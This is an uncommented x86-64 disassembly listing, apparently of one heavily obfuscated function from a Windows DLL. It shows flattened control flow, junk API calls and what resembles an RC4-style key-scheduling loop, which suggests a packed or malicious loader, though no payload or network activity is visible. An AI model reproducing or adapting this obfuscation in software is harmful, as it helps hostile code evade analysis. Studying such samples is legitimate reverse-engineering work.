call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edi, eax
mov r9d, 0x23
movabs rdx, 0xffffffff3aecf4ed
cmp rsi, rdx
jne 0x180005eef
cmp edi, 3
jae 0x180005dcb
movzx edi, bx
and edi, 0x3c4
jmp 0x180005efd
cmp edi, 0x59
jae 0x180005e07
movzx ecx, bx
movabs rax, 0x22a0122a0122a013
mul rcx
movabs rax, 0xffffffff3aecf4ed
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 9
imul rcx, rax
mov qword [0x18002f030], rcx
jmp 0x180005efd
mov eax, 0x2d
cmp edi, eax
jb 0x180006697
cmp edi, 0x1e
jb 0x18000662d
mov eax, 5
cmp edi, eax
jne 0x180005e35
movabs rsi, 0xfffffef4df2ffd3f
jmp 0x180005efd
cmp edi, r9d
jae 0x180005e4f
mov ecx, edi
mov edx, 0x3aecf4ed
call fcn.1800066b0
lea rsi, [rax - 0x7d]
jmp 0x180005efd
cmp edi, 0x36
jae 0x180005e79
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov ecx, edi
mov eax, 0x2e8
div rcx
mov eax, 0x24f
add bx, dx
or bx, ax
jmp 0x180005efd
cmp edi, 0x3aecf76c
jne 0x180005e87
inc dword [rsp + 0x74]
jmp 0x180005efd
cmp edi, 3
je 0x180004b45
mov eax, 0x17
cmp edi, eax
ja 0x180005f02
mov rbx, qword [rsp + 0x68]
mov edi, 0x57
mov rcx, qword [section..data]
movabs rax, 0xbdaf3c6349b99bf9
movsxd r8, dword [rsp + 0x48]
mul rcx
imul eax, ecx, 0x2e
shr rdx, 9
and edx, eax
mov eax, dword [rsp + 0x48]
add edx, edx
and edx, 0x2b1
add edx, eax
inc eax
xor r11d, r11d
mov dword [rbp + r8*4 - 0x70], edx
mov rdx, qword [rsp + 0x58]
mov dword [rsp + 0x48], eax
lea esi, [r11 + 0x63]
jmp 0x180004a05
cmp rsi, 0x47
jae 0x180005efd
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, 0x17
mov r11d, 0
cmp bx, 0x52
jb 0x180004999
mov ecx, 0x7ff3
cmp bx, cx
je 0x180006042
lea ecx, [r11 + 0x11]
cmp bx, cx
je 0x180006038
lea ecx, [r11 + 0x4a]
cmp bx, cx
je 0x180006697
lea ecx, [r11 + 0x12]
cmp bx, cx
jb 0x18000600c
cmp bx, ax
jb 0x180005fd3
lea eax, [rcx + 0x3b]
cmp bx, ax
jb 0x180005e99
cmp bx, 0x52
jne 0x180005fee
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x180005f92
movzx r9d, bx
mov r8, rsi
mov qword [rsp + 0x20], r9
mov rdx, rcx
call fcn.180004954
jmp 0x180005f92
movzx edx, r10w
mov rcx, rbx
call fcn.1800066b0
mov r11, qword [rsp + 0x50]
jmp 0x180004f52
movzx r9d, di
mov edx, 0xa3ce3c6c
movzx r8d, sil
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
jmp 0x180005f92
movzx r8d, di
movzx edx, al
mov ecx, esi
jmp 0x1800053fc
movzx r8d, cl
mov qword [rsp + 0x20], r8
movzx ecx, di
mov r9d, esi
jmp 0x180005f7c
mov ecx, edi
mov r8d, esi
mov edx, edi
call fcn.180002e2c
mov esi, eax
xor edx, edx
mov eax, 0x297b
div rsi
mov rdi, rax
mov eax, dword [rsp + 0x60]
mov r11, qword [rsp + 0x50]
cmp edi, 0x3aecf76c
jne 0x18000604e
dec r11d
mov qword [rsp + 0x50], r11
jmp 0x180004f3b
movzx ebx, bx
mov rcx, rsi
mov edx, ebx
mov r8d, edi
mov r9d, edi
mov qword [rsp + 0x20], rbx
call fcn.180004954
mov rsi, rax
xor edx, edx
mov eax, ebx
mov ebx, 0x13d
div rsi
or bx, ax
jmp 0x180005fee
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edi, eax
jmp 0x180005fee
mov eax, dword [rsp + 0x60]
inc eax
mov dword [rsp + 0x60], eax
jmp 0x180005ff2
mov ecx, 0
cmp edi, 0x3c
jbe 0x180004f3d
cmp edi, 0x20
jb 0x180006644
mov r11, qword [rsp + 0x50]
cmp edi, 0x47
jae 0x180004f3d
mov ecx, edi
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x180004f32
mov edx, esi
mov rcx, rsi
call fcn.1800066b0
jmp 0x180004b45
mov ecx, edi
mov r8d, edi
mov edx, edi
call fcn.180002e2c
jmp 0x180004b45
movzx edx, di
movzx ecx, r10w
jmp 0x180006088
mov r11d, 0x13
jmp 0x180004b51
cmp edi, 0x45
jne 0x1800060c3
mov ebx, 0x27f
jmp 0x180006125
cmp edi, 0xf8e3564e
jne 0x180006100
xor edx, edx
mov rax, rsi
div qword [rbp + 0x3e0]
mov rax, qword [rbp + 0x3d8]
movzx ecx, byte [rdx + rax]
imul eax, ebx, 0x3e
and eax, 0x4e
add ecx, eax
mov eax, dword [rsp + 0x40]
add ecx, dword [rbp + rsi*4 - 0x70]
add eax, 0xffffffbc
add eax, ecx
movzx eax, al
mov dword [rsp + 0x40], eax
jmp 0x180006125
cmp edi, 0x5e
jae 0x18000611c
mov r8d, ebx
mov rdx, rcx
call qword [sym.imp.SHELL32.dll_ExtractIconA]
mov rbx, rax
mov r11d, 0x13
jmp 0x180006125
cmp edi, r9d
je 0x18000669b
mov ecx, edi
mov eax, 0x2a7
sub rax, rcx
xor rax, rbx
cmp edi, 0x20
jb 0x180006697
cmp edi, 2
jb 0x180005e99
cmp edi, 0x30
jb 0x180006697
cmp edi, 0x33
jb 0x180006697
mov edx, 0x5d
cmp edi, edx
jae 0x1800062a2
movabs rax, 0x60a928060a928061
mul rbx
mov rbx, rdx
shr rbx, 8
add rbx, 0xc
mov ecx, 9
mov r10, rbx
mov eax, 0x57
bts r10, 9
cmp rbx, rax
jb 0x18000657f
mov eax, 0x44
lea r11d, [rax - 0x31]
lea r9d, [rax - 0xa]
cmp rbx, rax
jb 0x180004b56
cmp rbx, 0x15
jbe 0x1800065eb
cmp rbx, 0x5a
jb 0x180006493
cmp rbx, 0xe
je 0x180005e99
cmp rbx, 0x38
jb 0x18000648f
cmp rbx, 0x61
je 0x180006692
cmp rbx, rcx
jb 0x180006474
cmp rbx, 0x43
jb 0x180006692
cmp rbx, 2
jb 0x180006465
cmp rbx, 0x4e
jb 0x18000644f
cmp rbx, 0x43
je 0x18000649f
cmp rbx, 0x5e
jbe 0x180004996
movabs r9, 0x30ea2de6346
cmp rbx, r9
jne 0x1800064a9
cmp edi, 0xf8e3564e
je 0x180006415
cmp edi, 7
jb 0x1800063e8
cmp edi, 0x3c
jb 0x1800064a9
lea eax, [r11 + 0x1f]
cmp edi, eax
je 0x18000669e
cmp edi, 0x53
jbe 0x1800064a9
cmp edi, 0x26
jb 0x18000668d
lea eax, [r11 + 0x3a]
cmp edi, eax
jb 0x1800063db
cmp edi, 0xd
jbe 0x180004996
cmp edi, 0x59
ja 0x180006381
mov edx, 0xa2de6346
mov rcx, r9
call fcn.1800066b0
mov r11d, 0x13
lea r9d, [r11 + 0x27]
jmp 0x180004b56
cmp edi, 0x33
jne 0x1800062ba
mov r8, rbx
mov edx, ebx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
jmp 0x18000617b
cmp edi, 0xf8e3564e
jne 0x1800062cf
mov al, byte [rbp + rsi*4 - 0x70]
mov byte [rsp + 0x4c], al
jmp 0x18000617b
mov edx, 0x12
cmp edi, edx
jb 0x18000660f
cmp edi, r11d
ja 0x1800062fc
mov r9, rax
mov qword [rsp + 0x20], rbx
mov r8, rbx
mov rdx, rbx
call fcn.180004954
mov rbx, rax
jmp 0x18000617b
cmp edi, 0x3c
jb 0x180005e99
cmp edi, 0x26
jae 0x18000632d
imul rbx, rbx, 0x2e
movabs rax, 0x970e4f80cb8727c1
mul rbx
sub rbx, rdx
shr rbx, 1
add rbx, rdx
shr rbx, 8
jmp 0x18000617b
cmp edi, 0x5f
ja 0x180006340
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000617b
mov ecx, 9
lea r9d, [rcx + 0x31]
cmp edi, ecx
je 0x180004b56
cmp edi, 0x26
jne 0x180006362
add rbx, 0x271
jmp 0x180006180
mov ecx, 0x41
cmp edi, ecx
jne 0x18000617b
mov r8d, ebx
mov edx, eax
mov rcx, rax
call fcn.180002e2c
jmp 0x180006293
mov eax, 0x56
cmp edi, eax
jne 0x1800063a0
movabs rax, 0x1a8f26ebfe754
mov qword [0x18002f030], rax
jmp 0x1800064a9
cmp edi, 0x2b
jne 0x1800063b5
mov qword [0x18002f008], 6
jmp 0x1800064a9
mov eax, 0x17
cmp edi, eax
jae 0x1800064a9
mov r8d, edi
mov edx, 0xa2de6346
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
jmp 0x18000649f
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x18000649f
xor edx, edx
mov ecx, edi
mov eax, 0x1e8
div rcx
movabs rax, 0x8c08c08c08c08c09
imul rdx, r10
mul rdx
shr rdx, 8
mov qword [0x18002f040], rdx
jmp 0x1800064a9
cmp r10, 0x15
je 0x180006560
mov eax, 0x2a
cmp r10, rax
je 0x18000643e
cmp r10, r9
jne 0x1800064a9
movsxd r8, dword [rsp + 0x40]
mov ecx, dword [rbp + r8*4 - 0x70]
mov dword [rbp + rsi*4 - 0x70], ecx
jmp 0x1800064ae
mov r8d, eax
mov edx, eax
mov rcx, rax
call fcn.180002e2c
mov ebx, eax
jmp 0x18000649f
mov edx, ebx
mov rcx, rbx
call fcn.1800066b0
mov edi, 0x1c
add edi, eax
xor edi, 0x53
jmp 0x18000649f
mov edx, edi
mov rcx, r10
call fcn.1800066b0
mov rbx, rax
jmp 0x18000649f
mov r9, r10
mov qword [rsp + 0x20], rbx
mov r8, rbx
mov edx, ebx
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_HeapQueryInformation]
movsxd rbx, eax
jmp 0x18000649f
xor edi, edi
jmp 0x18000649f
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
lea edi, [rbx - 0x39]
movabs r9, 0x30ea2de6346
mov r8d, dword [rsp + 0x40]
xor edx, edx
mov eax, 0x158
div rbx
mov rcx, rbx
sub rcx, rax
cmp rbx, 0x50
je 0x180005e99
cmp rbx, 0x2e
jb 0x18000656b
cmp rbx, 0x46
jbe 0x18000651e
mov eax, 5
cmp rbx, rax
ja 0x1800064f2
mov r8d, edi
mov rdx, rbx
mov qword [rsp + 0x20], rbx
mov r9d, edi
jmp 0x180006506
cmp rbx, 7
jne 0x18000650d
mov qword [rsp + 0x20], rcx
mov r9, rbx
mov r8, rcx
mov rdx, rcx
call fcn.180004954
jmp 0x18000651e
cmp rbx, r9
jne 0x18000651e
movzx ecx, byte [rsp + 0x4c]
movsxd rax, r8d
mov dword [rbp + rax*4 - 0x70], ecx
mov eax, dword [rsp + 0x48]
mov rdx, qword [rsp + 0x58]
inc eax
mov rbx, qword [rsp + 0x68]
xor r11d, r11d
lea esi, [r11 + 0x63]
jmp 0x180004a29
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
jmp 0x180005e99
mov r8d, r10d
mov edx, r10d
mov rcx, r10
call fcn.180002e2c
mov r10d, eax
mov qword [rsp + 0x58], r10
jmp 0x180005e9e
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
jmp 0x180005e99
mov r8d, ebx
mov rdx, rbx
mov rcx, rbx
call qword [sym.imp.SHELL32.dll_ExtractIconA]
jmp 0x180005e99
mov rbx, qword [rsp + 0x68]
mov rdi, rax
jmp 0x180005ea3
mov ecx, esi
mov r8d, esi
mov edx, esi
call qword [sym.imp.SHELL32.dll_ExtractIconA]
jmp 0x180004996
movzx ecx, bl
mov r8d, edx
call fcn.180002e2c
xor r11d, r11d
jmp 0x18000499e
movzx ecx, bl
mov r9, rdx
mov qword [rsp + 0x20], rcx
mov r8, rdx
call fcn.180004954
jmp 0x1800065a9
mov rcx, qword [rsp + 0x58]
mov r9, rdx
mov qword [rsp + 0x20], rdx
mov r8, rdx
mov rdx, rax
jmp 0x1800065bf
mov r10, qword [rsp + 0x58]
mov r8d, r10d
movzx edx, bl
mov rcx, r10
jmp 0x1800065a4
mov qword [rsp + 0x30], rbx
mov r9, rbx
mov dword [rsp + 0x28], edi
mov r8d, ebx
mov edx, r10d
mov dword [rsp + 0x20], ebx
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_CreateFileW]
jmp 0x180004996
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
jmp 0x180004996
mov eax, 0x1b
jmp 0x18000669e
mov ecx, r10d
call qword [sym.imp.KERNEL32.dll_ExitThread]
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_ExitThread]
xor rsi, 0x21d
mov qword [0x18002f028], rsi
movzx eax, bx
jmp 0x18000669e
movzx eax, r10w
jmp 0x18000669e
mov rax, r8
jmp 0x18000669e
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_ExitProcess]
movzx eax, sil
jmp 0x18000669e
movzx eax, r9w
jmp 0x18000669e
mov eax, esi
jmp 0x18000669e
movzx eax, di
jmp 0x18000669e
movzx eax, cl
jmp 0x18000669e
mov rax, rsi
jmp 0x18000669e
mov eax, 0x5f
jmp 0x18000669e
mov rax, rdx
jmp 0x18000669e
movzx eax, bl
jmp 0x18000669e
mov rax, r9
jmp 0x18000669e
mov rax, r10
jmp 0x18000669e
mov eax, edi
jmp 0x18000669e
mov rax, rbx
add rsp, 0x498
pop rdi
pop rsi
pop rbx
pop rbp
ret